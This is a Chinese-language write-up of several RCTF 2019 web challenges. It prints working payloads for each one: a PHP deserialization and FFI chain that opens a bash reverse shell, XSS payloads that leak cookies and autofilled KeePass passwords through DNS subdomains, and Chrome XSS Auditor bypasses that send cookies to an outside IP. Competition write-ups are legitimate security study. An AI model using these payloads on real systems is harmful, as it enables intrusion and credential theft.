上个周末做了一下RCTF,时隔一年卷土重来。这次Kap0k直接打到第6了,而且ak了misc,队友还是值得吹一波的。
回想起来,上一年的RCTF我还啥都不会,到今年还是啥都不会,岁月真是无情。
nextphp
这题考PHP7.4
的特性,非常紧跟潮流。直接给了个eval看一下phpinfo
,一堆disable_functions
很明显绕不过去,再看open_basedir
还注意到有一个opcache.preload
preload.php
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
代码很工整,实现了一个自定义的序列化,反序列化的时候会调用unserialize
函数,这里的unserialize
函数功能是改变$data
数组元素的值,然后实现可变函数的效果。然后主要到这篇文章去查看php7.4
的特性,关于opcache.preload
,可以看RFC很好理解,就是选定一个文件来preload。
还用到了Foreign Function Interface
这个点.到RFC看cdef
:用法:然后,我们需要利用preload.php
的可变函数来尝试导入c函数并执行,为什么要利用预加载的preload.php
,不能直接搞呢,因为这个1
http://nextphp.2019.rctf.rois.io/?a=var_dump(unserialize(%27C:1:%22A%22:97:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:34:%22const%20char%20*%20getenv(const%20char%20*);%22;}}%27)-%3Eret-%3Egetenv(%27PATH%27));
导入getenv
同理导入system
,反弹shell即可1
nextphp.2019.rctf.rois.io/?a=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("bash -c '/bin/bash -i >%26 /dev/tcp/{{ip}}/{{[port}} 0>%261'"));
jail
xss题,可以向一个页面写内容,然后把页面的id提交给admin,让它去访问。avatar的地方可以上传文件,试了一下,没啥好利用的点。
cookie中有两个hint目的就是要打到admin的cookie。1
Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';
在firefox
下用这个payload就能x到:<img src=1 onerror="location.href='http://xxxxx/?'+document.cookie">
但是chrome不行提交了一下,没有打到,bot应该是chrome。我们知道跳转可以无视一切csp,但是这里跳转不了,因为页面上有一段预置的js把document.location
给freeze了,而freeze是不能解掉的后面尝试了用a标签和另外的一些方法,本地是可以跳转的,但是bot不跳呀,因此另寻骚操作。
之前没见过freeze location这个操作,因此研究了一下location尝试修改了几个属性,href固然是改不了,但是发现host和hostname属性都是可以改的,而且可以达到一个跳转的效果。这里可以用子域名带出信息,查看DNS query记录即可,payload:1
2
3
4
5
6
7
8
9
10
11
12<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
location.hostname=stringToHex(document.cookie).substr(0,60)+".g3r5vi.ceye.io"</script>
password
这题用的是jail的同一个环境,题目和hint给的信息都非常关键提取出几个要点:
1.要x的是密码
2.并不是chrome自带的保存密码功能
3.try to read body.innerHTML
这里可以大致猜出一些东西了,要x密码,而且不是chrome自带的密码管理,结合hint,想到会不会是给他插入一段html,然后会给我自动填充密码,我再把密码整出来?于是尝试加一段html到payload里,由于是要x密码,所以自然想到整个表单上去,login那里就有一个现成的表单一开始是想,延时一段时间(给点时间给密码管理器自动填写),然后把password的value搞出来,但是啥都打不到。于是还是跟着hint走吧,读一下innerHTML,这一步的payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
location.hostname=stringToHex(btoa(document.body.innerHTML)).substr(1800,60)+".g3r5vi.ceye.io";
}, 1000);
</script>
一点点拿到完整的页面内容,发现果然有something interesting加了个data-cip-id
的属性,但是我的payload并没有这东西。查了一下,这里用的应该是ChromeIPass
+Keepass
这一套,本地装一下,直接拿登录页面来做一下实验。首先点击一下username的框,然后就会有候选密码(前提是已经有存密码)再右键选中看属性,发现这几个选项都是cip-ui-menu-item
这个class的,因此可以用document.getElementsByClassName('cip-ui-menu-item')[?]
来定位他们。这里必须要点一下username的框,才会有这几个选项出现,选项出现之后,选一个来点,password的框就会被自动填充。所以我们的payload就已经出来了:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
document.getElementsByName('username')[0].click();
document.getElementsByClassName('cip-ui-menu-item')[1].click();
location.hostname=stringToHex(btoa(document.getElementsByName('password')[0].value)).substr(0,60)+".g3r5vi.ceye.io";
}, 3000);
</script>
0号是假flag1号是真flag
rblog
hint:API supports JSONP.
这题进来就三题wp的链接查看网络请求,可以发现数据来源于一个API还可以发现网站有CSP,而且有一个report的页面,因此可以猜测这是个XSS的题.default-src 'self'
,那么我们只能使用同域资源。
v1的content-type
是text/html
v2则是application/json
v1/posts的是application/javascript
,而且v1/posts使用jsonp,callback参数可控,由此想到,通过v1/
引入v1/posts?callback=xxx
的资源来实现xss。尝试之后,发现/
会被转义测试了一波,发现/
和"
都会被转义.斜杠不能用,script标签自然是不能闭合的,需要另寻出路。参考了其他师傅的wp,这里的一个操作是使用iframe的srcdoc属性,然后在里面对payload进行unicode编码,这样可以同时绕过csp对unsafe-inline
的限制(csp没有设置此项),还可以绕过对斜杠的转义。使用payload如下:1
<iframe srcdoc=<script src=https://rblog.2019.rctf.rois.io/api/v1/posts?callback=alert(1);console.log></script>>
firefox下成功弹框但是chrome不行,题目有说明chrome的版本这是chrome的当前最新版本,这个payload被chrome的XSS Auditor
拦截了。从fish师傅的wp中, 还看到这么一段话这是我之前不知道的。。tcl。这时候我们可以看看后端有没有对什么字符进行处理,经过简单的测试就可以发现,后端会把中文字符进行unicode编码并返回因此,我们可以在srcdoc的开头部分插入中文字符,使得其绕过XSS Auditor
。效果:然后构造payload,提交给admin即可。最终payload:1
https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc=%E5%95%8A%26%2360%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2332%3b%26%23115%3b%26%23114%3b%26%2399%3b%26%2361%3b%26%2334%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%23115%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23114%3b%26%2398%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2346%3b%26%2350%3b%26%2348%3b%26%2349%3b%26%2357%3b%26%2346%3b%26%23114%3b%26%2399%3b%26%23116%3b%26%23102%3b%26%2346%3b%26%23114%3b%26%23111%3b%26%23105%3b%26%23115%3b%26%2346%3b%26%23105%3b%26%23111%3b%26%2347%3b%26%2397%3b%26%23112%3b%26%23105%3b%26%2347%3b%26%23118%3b%26%2349%3b%26%2347%3b%26%23112%3b%26%23111%3b%26%23115%3b%26%23116%3b%26%23115%3b%26%2363%3b%26%2399%3b%26%2397%3b%26%23108%3b%26%23108%3b%26%2398%3b%26%2397%3b%26%2399%3b%26%23107%3b%26%2361%3b%26%23112%3b%26%2397%3b%26%23114%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%2399%3b%26%2397%3b%26%23116%3b%26%23105%3b%26%23111%3b%26%23110%3b%26%2346%3b%26%23104%3b%26%23114%3b%26%23101%3b%26%23102%3b%26%2361%3b%26%2339%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%2347%3b%26%23120%3b%26%23115%3b%26%23115%3b%26%2363%3b%26%2339%3b%26%2337%3b%26%2350%3b%26%2398%3b%26%23101%3b%26%23115%3b%26%2399%3b%26%2397%3b%26%23112%3b%26%23101%3b%26%2340%3b%26%23100%3b%26%23111%3b%26%2399%3b%26%23117%3b%26%23109%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%2399%3b%26%23111%3b%26%23111%3b%26%23107%3b%26%23105%3b%26%23101%3b%26%2341%3b%26%2359%3b%26%2399%3b%26%23111%3b%26%23110%3b%26%23115%3b%26%23111%3b%26%23108%3b%26%23101%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2334%3b%26%2362%3b%26%2360%3b%26%2347%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2362%3b%3E
还给了下一题的hint,那么来看下一题。
ez4cr
题目上一题cookie的提示:
the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._.
这里要x的是report-rblog
域下的这个cookie,硬核bypass xss auditor?
看源码,发现有一个report.php
测了一下,这东西也support JSONP,而且content-type
是text/html
,有csp而且没有对字符进行转义在firefox下,这样就可以直接x了1
https://report-rblog.2019.rctf.rois.io/report.php?callback=%3Cscript%20src=https://report-rblog.2019.rctf.rois.io/report.php?callback=alert(1);%3E%3C/script%3E
但是chrome有xss auditor,不可能硬核bypass来收0day吧,所以从题目本身的场景入手。这题的中文很正常这里的一个解法是,把script src中的https改成http,后端返回的时候会把它变成https此时可以成功x到最后payload:1
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href=%27http://123.207.99.17/xss?%27%25%32%62escape(document.cookie);></script>